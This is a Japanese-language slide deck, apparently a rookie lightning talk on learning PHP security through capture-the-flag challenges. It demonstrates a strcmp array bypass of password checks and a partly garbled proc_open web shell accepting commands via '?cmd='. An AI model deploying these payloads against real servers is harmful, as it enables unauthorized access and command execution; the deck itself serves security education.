CTFで学ぶPHPセキュリティ
by
Ryoto Saito
×
Copy
Open
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Slide 1
Slide 1 text
CTFで学ぶ PHPセキュリティ 2019/3/31 PHPerKaigi ルーキーズLT Ryoto (@systemctl_ryoto) 1
Slide 2
Slide 2 text
CTF - Capture the Flag 2
Slide 3
Slide 3 text
CTF Capture the Flag ● FPSのゲームルール の1種 ● 敵陣のフラッグを自陣 に持ち帰る ● 由来は物理的な遊び ● 転じて… 3
Slide 4
Slide 4 text
CTF Capture the Flag ● 情報セキュリティ的に脆弱な 「何か」が用意される ● その脆弱性を突いてFlagを取得 する競技 ※ Flag = 仮想的な機密文字列 flag{PHP_is_s3cur3!} ↑過去に本当に見たことあるやつ ● 問題ベースで楽しくセキュリティ が勉強できる! ● 徳丸さんの挑戦状もCTF 4
Slide 5
Slide 5 text
PHPer チャレンジ は シェルを 奪えます ls -al /もmysqldumpも実行できる 5
Slide 6
Slide 6 text
CTFの 主要な ジャンル 厳密な分類は大会やサイトによって 微妙に異なる 6 Pwn プログラムの脆弱性を突く Reverse リバースエンジニアリング Forensic パケットやFile systemなど Crypto 暗号解読 Web クライアントからサーバまで
Slide 7
Slide 7 text
Webの CTF 情報セキュリティ的に脆弱な「何か」 ● 「Webサイト」 ● 「ソースコード」 どこが脆弱かはもちろん、どこにFlag があるのかがわからないことも たのしい謎解きの始まり 7
Slide 8
Slide 8 text
CTFのPHP問題例 - 実際の問題の一部分 - 8
Slide 9
Slide 9 text
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) == 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 9
Slide 10
Slide 10 text
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) == 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 10
Slide 11
Slide 11 text
言語仕様に関する問題 11
Slide 12
Slide 12 text
言語仕様に関する問題 12
Slide 13
Slide 13 text
言語仕様に関する問題 13 if (strcmp($_GET['password'], PASSWORD) == 0) strcmpは配列や関数などを受け取るとnull+Warningを返す) array(1) { [0] => string(5) "admin" } }
Slide 14
Slide 14 text
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) == 0) { echo FLAG; } 目標:なんとか突破したい! 先ほどのヒントを踏まえると… 言語仕様に関する問題 14
Slide 15
Slide 15 text
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) == 0) { echo FLAG; } 目標:なんとか突破したい! Ans: http://target.host/?password[]= 言語仕様に関する問題 15
Slide 16
Slide 16 text
前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚
Slide 17
Slide 17 text
(注:shell_execと等価なので`cmd`はダメ) 任意コード実行 17
Slide 18
Slide 18 text
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 任意コード実行 18
Slide 19
Slide 19 text
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行 19
Slide 20
Slide 20 text
Ans. 以下のPHPファイルをアップロード ["pipe", "w"]], $pipes); echo stream_get_contents($pipes[1]); これを1回アップロードすれば?cmd=...でやりたい放題 任意コード実行 20
Slide 21
Slide 21 text
CTFに興味が湧いてきた人は! 21
Slide 22
Slide 22 text
やってみよう! 22 常設CTF(Web・PHP問題が入門から充実している) ● https://www.root-me.org/en/Challenges/Web-Server/ ● http://websec.fr/ ※ 垢登録するときは捨てパスワードを使いましょう 慣れたらコンテストに参加! ● https://ctftime.org
Slide 23
Slide 23 text
困ったときは 23 CTFでは解答例のことを Write-up と呼びます。 考えてもわからなかったら答えを探すのもあり! ("Write-up"で検索して問題を探す荒技もあり)
Slide 24
Slide 24 text
Thank you! @systemctl_ryoto 24